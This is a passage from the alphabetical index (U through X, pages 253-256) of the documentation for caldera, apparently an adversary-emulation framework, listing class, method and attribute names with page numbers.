store() (app.objects.c_agent.Agent method), 187 Tunnel (class in app.contacts.tunnels.tunnel_ssh), 166
store() (app.objects.c_data_encoder.DataEncoder TXT (app.contacts.contact_dns.DnsRecordType at-
method), 188 tribute), 168
store() (app.objects.c_obfuscator.Obfuscator method),
188 U
store() (app.objects.c_objective.Objective method), unique (app.objects.c_ability.Ability property), 184
189 unique (app.objects.c_adversary.Adversary property),
store() (app.objects.c_operation.Operation method), 185
191 unique (app.objects.c_agent.Agent property), 187
store() (app.objects.c_planner.Planner method), 192 unique (app.objects.c_data_encoder.DataEncoder prop-
store() (app.objects.c_plugin.Plugin method), 193 erty), 188
store() (app.objects.c_schedule.Schedule method), 194 unique (app.objects.c_obfuscator.Obfuscator property),
store() (app.objects.c_source.Source method), 195 188
store() (app.objects.interfaces.i_object.FirstClassObjectInterface
unique (app.objects.c_objective.Objective property), 189
method), 174

Index 253
caldera

unique (app.objects.c_operation.Operation property), (app.service.interfaces.i_rest_svc.RestServiceInterface


191 method), 203
unique (app.objects.c_planner.Planner property), 192 update_chain_data()
unique (app.objects.c_plugin.Plugin property), 193 (app.service.rest_svc.RestService method),
unique (app.objects.c_schedule.Schedule property), 194 217
unique (app.objects.c_source.Source property), 195 update_config() (app.service.interfaces.i_rest_svc.RestServiceInterface
unique (app.objects.interfaces.i_object.FirstClassObjectInterface method), 203
property), 174 update_config() (app.service.rest_svc.RestService
unique (app.objects.secondclass.c_fact.Fact property), method), 217
175 update_fact() (app.service.interfaces.i_knowledge_svc.KnowledgeServic
unique (app.objects.secondclass.c_link.Link property), method), 200
178 update_fact() (app.service.knowledge_svc.KnowledgeService
unique (app.objects.secondclass.c_parser.Parser prop- method), 212
erty), 179 update_fact_source()
unique (app.objects.secondclass.c_relationship.Relationship (app.api.v2.handlers.fact_source_api.FactSourceApi
property), 180 method), 151
unique (app.objects.secondclass.c_requirement.Requirement update_facts() (app.api.v2.handlers.fact_api.FactApi
property), 181 method), 150
unknown (app.objects.c_ability.AbilitySchema.Meta at- update_global_agent_config()
tribute), 185 (app.api.v2.managers.config_api_manager.ConfigApiManager
unknown (app.objects.c_adversary.AdversarySchema.Meta method), 155
attribute), 185 update_main_config()
unknown (app.objects.c_objective.ObjectiveSchema.Meta (app.api.v2.handlers.config_api.ConfigApi
attribute), 189 method), 150
unknown (app.objects.c_operation.OperationSchema.Meta update_main_config()
attribute), 192 (app.api.v2.managers.config_api_manager.ConfigApiManager
unknown (app.objects.c_schedule.ScheduleSchema.Meta method), 155
attribute), 194 update_object() (app.api.v2.handlers.base_object_api.BaseObjectApi
unknown (app.objects.secondclass.c_fact.FactSchema.Meta method), 149
attribute), 175 update_object() (app.api.v2.handlers.operation_api.OperationApi
unknown (app.objects.secondclass.c_link.LinkSchema.Meta method), 152
attribute), 178 update_object() (app.api.v2.managers.base_api_manager.BaseApiMana
unknown (app.objects.secondclass.c_parserconfig.ParserConfigSchema.Meta
method), 155
attribute), 179 update_object() (app.api.v2.managers.operation_api_manager.Operatio
UNTRUSTED (app.objects.c_operation.Operation.Reason method), 157
attribute), 190 update_object() (app.api.v2.managers.schedule_api_manager.ScheduleA
update() (app.utility.base_object.BaseObject method), method), 157
218 update_objective() (app.api.v2.handlers.objective_api.ObjectiveApi
update_ability() (app.api.v2.handlers.ability_api.AbilityApi method), 151
method), 148 update_on_disk_object()
update_adversary() (app.api.v2.handlers.adversary_api.AdversaryApi (app.api.v2.handlers.base_object_api.BaseObjectApi
method), 148 method), 149
update_agent() (app.api.v2.handlers.agent_api.AgentApi update_on_disk_object()
method), 149 (app.api.v2.managers.ability_api_manager.AbilityApiManager
update_agent_data() method), 154
(app.service.interfaces.i_rest_svc.RestServiceInterface
update_on_disk_object()
method), 203 (app.api.v2.managers.base_api_manager.BaseApiManager
update_agent_data() method), 155
(app.service.rest_svc.RestService method), update_operation() (app.api.v2.handlers.operation_api.OperationApi
217 method), 152
update_agents_config() update_operation() (app.service.interfaces.i_rest_svc.RestServiceInterfa
(app.api.v2.handlers.config_api.ConfigApi method), 203
method), 150 update_operation() (app.service.rest_svc.RestService
update_chain_data() method), 217

254 Index
caldera

update_operation_agents() method), 157


(app.objects.c_operation.Operation method), validate_link_data()
191 (app.api.v2.managers.operation_api_manager.OperationApiMana
update_operation_link() method), 157
(app.api.v2.handlers.operation_api.OperationApi validate_login() (app.api.rest_api.RestApi method),
method), 152 164
update_operation_link() validate_operation_state()
(app.api.v2.managers.operation_api_manager.OperationApiManager
(app.api.v2.managers.operation_api_manager.OperationApiMana
method), 157 method), 157
update_operations_with_untrusted_agent() validate_password()
(app.service.app_svc.AppService method), 204 (app.contacts.tunnels.tunnel_ssh.SSHServerTunnel
update_planner() (app.api.v2.handlers.planner_api.PlannerApi method), 166
method), 153 validate_requirement()
update_planner() (app.service.interfaces.i_rest_svc.RestServiceInterface
(app.service.app_svc.AppService method),
method), 203 204
update_planner() (app.service.rest_svc.RestService validate_requirements()
method), 217 (app.service.app_svc.AppService method),
update_relationship() 204
(app.service.interfaces.i_knowledge_svc.KnowledgeServiceInterface
validate_schedule()
method), 201 (app.objects.c_schedule.ScheduleSchema
update_relationship() method), 194
(app.service.knowledge_svc.KnowledgeService value (app.objects.c_source.Adjustment attribute), 194
method), 212 Variation (class in app.objects.secondclass.c_variation),
update_relationships() 183
(app.api.v2.handlers.fact_api.FactApi method), VariationSchema (class in
150 app.objects.secondclass.c_variation), 183
update_schedule() (app.api.v2.handlers.schedule_api.ScheduleApi
verify() (app.objects.c_adversary.Adversary method),
method), 153 185
update_scores() (in module verify_adversary() (app.api.v2.managers.adversary_api_manager.Adve
app.objects.secondclass.c_link), 178 method), 154
update_stopping_condition_met() verify_fact_integrity()
(app.service.planning_svc.PlanningService (app.api.v2.managers.fact_api_manager.FactApiManager
method), 215 method), 156
update_untrusted_agents() verify_operation_state()
(app.objects.c_operation.Operation method), (app.api.v2.managers.fact_api_manager.FactApiManager
191 method), 156
upload_file() (app.api.rest_api.RestApi method), 164 verify_relationship_integrity()
USER (app.objects.secondclass.c_fact.OriginType at- (app.api.v2.managers.fact_api_manager.FactApiManager
tribute), 176 method), 156
User (app.utility.base_world.BaseWorld.Privileges visibility (app.objects.c_operation.OperationSchemaAlt
attribute), 221 property), 192
username (app.service.auth_svc.AuthService.User Visibility (class in app.objects.secondclass.c_visibility),
attribute), 205 183
VisibilitySchema (class in
V app.objects.secondclass.c_visibility), 183
valid_config() (app.contacts.contact_gist.Contact
method), 170 W
valid_config() (app.contacts.contact_slack.Contact wait_for_completion()
method), 171 (app.objects.c_operation.Operation method),
VALID_TOKEN_FORMATS 191
(app.contacts.contact_gist.Contact attribute), wait_for_links_and_monitor()
170 (app.service.planning_svc.PlanningService
validate_and_setup_task() method), 216
(app.api.v2.managers.schedule_api_manager.ScheduleApiManager
wait_for_links_completion()

Index 255
caldera

(app.objects.c_operation.Operation method),
191
walk_file_path() (app.service.file_svc.FileSvc static
method), 210
watch_ability_files()
(app.service.app_svc.AppService method),
205
which_plugin() (app.objects.c_ability.Ability method),
185
which_plugin() (app.objects.c_adversary.Adversary
method), 185
which_plugin() (app.objects.c_planner.Planner
method), 192
write_event_logs_to_disk()
(app.objects.c_operation.Operation method),
191
write_file() (app.contacts.contact_ftp.FtpHandler
method), 170
write_result_file() (app.service.file_svc.FileSvc
method), 210
write_result_file()
(app.service.interfaces.i_file_svc.FileServiceInterface
method), 199

X
xor_bytes() (in module app.utility.payload_encoder),
223
xor_file() (in module app.utility.payload_encoder),
223

256 Index

You might also like